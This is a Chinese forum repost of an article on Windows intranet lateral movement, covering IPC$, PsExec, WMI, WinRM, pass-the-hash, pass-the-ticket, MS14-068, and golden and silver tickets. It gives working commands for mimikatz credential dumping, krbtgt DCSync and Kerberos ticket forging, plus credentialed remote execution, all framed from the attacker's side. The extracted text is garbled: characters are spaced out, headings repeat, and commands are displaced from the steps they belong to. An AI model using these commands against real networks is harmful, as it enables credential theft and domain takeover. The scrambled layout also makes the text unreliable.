搜索

[1029] 2020-11-30_内网横向移动思路和技巧

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2020-11-30_内网横向移动思路和技巧 内 网 横 向 移 动 思 路 和 技 巧 原 创   B y p a s s   B y p a s s   2 0 2 0 - 1 1 - 3 0 攻 击 者 借 助 跳 板 机 进 一 步 入 侵 内 网 服 务 器 后 ， 接 着 会 通 过 各 种 方 式 来 获 取 目 标 系 统 权 限 ， 获 取 用 户 的 明 文 密 码 或 H a s h 值 在 内 网 中 横 向 移 动 。 最 简 单 的 方 式 ， 就 是 使 用 明 文 密 码 进 行 登 录 远 程 服 务 器 。 在 这 里 ， 我 们 来 总 结 一 下 在 这 里 ， 我 们 来 总 结 一 下 W i n d o w s 横 向 移 动 的 思 路 与 攻 击 手 法 。 横 向 移 动 的 思 路 与 攻 击 手 法 。 1 、 、 I P C 连 接 连 接 通 过 验 证 用 户 名 和 密 码 建 立 与 目 标 机 器 的 I P C $ 会 话 连 接 ， 查 看 远 程 主 机 的 共 享 资 源 ， 执 行 上 传 / 下 载 ， 创 建 计 划 任 务 等 操 作 。 2 、 、 P s E x e c P s E x e c 是 一 个 轻 量 级 的 t e l n e t 替 代 品 ， 它 允 许 您 在 其 他 系 统 上 执 行 进 程 ， 并 为 控 制 台 应 用 程 序 提 供 完 整 的 交 互 性 ， 而 无 需 手 动 安 装 客 户 端 软 件 。 下 载 地 址 ： 返 回 一 个 交 互 式 s h e l l ： 同 时 ， M e t a s p l o i t 下 也 集 成 了 P s E x e c 模 块 。 3 、 、 W M I W M I 即 W i n d o w s 管 理 规 范   是 用 户 管 理 本 地 和 远 程 计 算 机 的 一 种 模 型 。 通 过 它 可 以 访 问 、 配 置 、 管 理 和 监 视 几 乎 所 有 的   W i n d o w s   资 源 。 远 程 创 建 进 程 ： 4 、 、 W i n R M W i n R M 指 的 是 W i n d o w s 远 程 管 理 服 务 ， 通 过 远 程 连 接 w i n R M 模 块 可 以 操 作 w i n d o w s 命 令 行 ， 默 认 监 听 端 口 5 9 8 5 （ H T T P ） & 5 9 8 6   ( H T T P S ) ， 在 2 0 1 2 以 后 默 认 开 启 。 5 、 哈 希 传 递 攻 击 （ 、 哈 希 传 递 攻 击 （ P a s s   t h e   h a s h ） ） 获 取 目 标 用 户 的 哈 希 ， 攻 击 者 就 可 以 使 用 用 户 的 哈 希 来 来 模 拟 用 户 ， 获 取 用 户 访 问 权 限 。 M S F   提 供 了 p s e x e c 模 块 可 以 进 行 H a s h 传 递 ， 只 使 用 密 码 哈 希 ， 来 执 行 任 意 命 令 ： 6 、 票 据 传 递 攻 击 （ 、 票 据 传 递 攻 击 （ P a s s   t h e   t i c k e t ） ） 获 取 域 控 权 限 后 ， 就 可 以 导 出 域 控 内 存 中 的 T i c k e t ， 用 来 登 录 域 控 。 攻 击 流 程 ： 第 一 步 ： 使 用 m i m i k a t z 导 出 内 存 中 的 t i c k e t n e t   u s e   < D C 的 I P > i p c $   " p a s s w o r d "   / u s e r : " u s e r n a m e " h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p s e x e c p s e x e c . e x e   1 0 . 1 . 1 . 1   - u   a d m i n i s t r a t o r   - p   a b c 1 2 3 !   c m d . e x e w m i c   / n o d e : 1 0 . 1 . 1 . 1   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d : a b c 1 2 3 !   p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   i p c o n f i g " w i n r s   - r : h t t p : / / 1 0 . 1 . 1 . 1 : 5 9 8 5   - u : a d m i n i s t r a t o r   - p : a b c 1 2 3 !   " w h o a m i   / a l l " m i m i k a t z #   s e k u r l s a : : t i c k e t s   / e x p o r t
第 二 步 ： 挑 选 一 个 文 件 ， 在 普 通 用 户 的 主 机 进 行 导 入 。 第 三 步 ： 获 取 域 控 权 限 7 、 、 M S 1 4 - 0 6 8 M S 1 4 0 6 8 是 一 个 能 够 使 普 通 用 户 提 权 到 域 控 权 限 的 权 限 提 升 漏 洞 。 攻 击 者 可 以 通 过 构 造 特 定 的 请 求 包 来 达 到 提 升 权 限 的 目 的 。 前 提 是 需 要 在 域 控 主 机 查 看 是 否 安 装 了 K B 3 0 1 1 7 8 0 补 丁 。 攻 击 流 程 ： 第 一 步 ： 利 用 M S 1 4 - 0 6 8 伪 造 生 成 T G T 第 二 步 ： 利 用 m i m i k a t z 将 工 具 得 到 的 T G T 票 据 写 入 内 存 ， 创 建 缓 存 证 书 第 三 步 ： 获 取 权 限 M S 1 4 - 0 6 8 . e x e   - u   b y p a s s @ t e s t . c o m   - p   a b c 1 2 3 !   - s   S - 1 - 5 - 2 1 - 7 3 5 0 1 5 3 1 8 - 3 9 7 2 8 6 0 3 3 6 - 6 7 2 4 9 9 7 9 6   - d     d c . t e s t . c o m m i m i k a t z # k e r b e r o s : : p t c   T G T _ b y p a s s @ t e s t . c o m . c c a c h e P s E x e c . e x e   d c     c m d . e x e
8 、 黄 金 票 据 、 黄 金 票 据 ( G o l d e n   T i c k e t ) 黄 金 票 据 的 原 理 就 是 用 k r b t g t 的 h a s h 来 伪 造 T G T ， 只 要 拥 有 了 高 权 限 的 T G T ， 就 可 以 发 送 给 T G S 换 取 任 意 服 务 的 S T 。 第 一 步 ： 获 取 第 一 步 ： 获 取 k r b t g t 的 的 S I D 和 哈 希 和 哈 希 通 过 m i m i k a t z 命 令 直 接 获 取 k r b t g t 的 S I D 值 和 哈 希 值 。 第 二 步 ： 伪 造 黄 金 票 据 第 二 步 ： 伪 造 黄 金 票 据 使 用 m i m i k a t z 伪 造 T G T 第 三 步 ： 获 取 权 限 第 三 步 ： 获 取 权 限 清 空 本 地 票 据 缓 存 ， 导 入 伪 造 的 黄 金 票 据 。 第 四 步 ： 利 用 伪 造 的 黄 金 票 据 第 四 步 ： 利 用 伪 造 的 黄 金 票 据 直 接 利 用 P s E x e c . e x e 来 远 程 登 录 和 执 行 命 令 P s E x e c . e x e   d c     c m d . e x e l s a d u m p : : d c s y n c   / d o m a i n : t e s t . c o m   / u s e r : k r b t g t k e r b e r o s : : g o l d e n   / a d m i n : a d m i n i s t r a t o r   / d o m a i n : t e s t . c o m   / s i d : S - 1 - 5 - 2 1 - 7 3 5 0 1 5 3 1 8 - 3 9 7 2 8 6 0 3 3 6 - 6 7 2 4 9 9 7 9 6   / k r b t g t : d c 7 1 7 a 2 2 6 a 0 7 d 0 f 6 a d b c d 9 c 0 3 3 7 c 6 5 1 3   / t i c k e t : g o l d e n . k i r i b i k e r b e r o s : : l i s t       # 查 看 本 地 保 存 的 票 据 k e r b e r o s : : p u r g e     # 清 空 本 地 票 据 缓 存 k e r b e r o s : : p t t   g o l d e n . k i r i b i   # 导 入 伪 造 的 黄 金 票 据   k e r b e r o s : : l i s t       # 重 新 查 看 本 地 保 存 的 票 据 P s E x e c . e x e   d c     c m d . e x e
9 、 白 银 票 据 （ 、 白 银 票 据 （ S i l v e r   T i c k e t s ） ） 白 银 票 据 ( S i l v e r   T i c k e t s ) 的 原 理 是 伪 造   S T ( S e r v i c e   T i c k e t ) ， 因 此 无 需 经 过 K D C ， 直 接 使 用 用 户 账 户 的 h a s h 进 行 加 密 ， 就 可 以 获 取 指 定 的 访 问 权 限 。 伪 造 的 票 据 只 对 部 分 服 务 起 作 用 ， 可 以 利 用 的 服 务 有 以 下 几 种 ： S e r v i c e   T y p e S e r v i c e   S i l v e r   T i c k e r s W M I H O S T 、 R P C S S P o w e r s h e l l   R e m o t e i n g H O S T 、 H T T P W i n R M H O S T 、 H T T P S c h e d u l e d   T a s k s H O S T L D A P 、 D C S y n c L D A P W i n d o w s   F i l e   S h a r e （ C I F S ） C I F S W i n d o w s   R e m o t e   S e r v e r A d m i n i s t r a t i o n   T o o l s R P C S S 、 L D A P 、 C I F S 第 一 步 ： 构 建 场 景 第 一 步 ： 构 建 场 景 同 一 个 域 控 下 的 两 台 主 机 ， 使 用 文 件 共 享 方 式 来 访 问 w i n - s e r v e r 的 文 件 ， 提 示 “ 拒 绝 访 问 ” 。 第 二 步 第 二 步   获 取 获 取 N T L M   H A S H 登 录 w i n - s e r v e r   服 务 器 ， 使 用 m i m i k a t z 导 出 h a s h m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : l o g o n p a s s w o r d s "   " e x i t " > l o g . t x t
第 三 步 ： 伪 造 票 据 第 三 步 ： 伪 造 票 据 第 四 步 ： 访 问 共 享 文 件 第 四 步 ： 访 问 共 享 文 件 k e r b e r o s : : g o l d e n   / d o m a i n : t e s t . c o m   / s i d : S - 1 - 5 - 2 1 - 7 3 5 0 1 5 3 1 8 - 3 9 7 2 8 6 0 3 3 6 - 6 7 2 4 9 9 7 9 6   / r c 4 : 9 4 3 4 3 4 a 1 0 b 5 1 3 4 c 0 b 1 e f 5 e 8 f 1 e f 9 b 0 2 0   / u s e r : t e s t   / s e r v i c e : c i f s   / t a r g e t : w i n - s e r v e r . t e s t . c o m   / p t t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理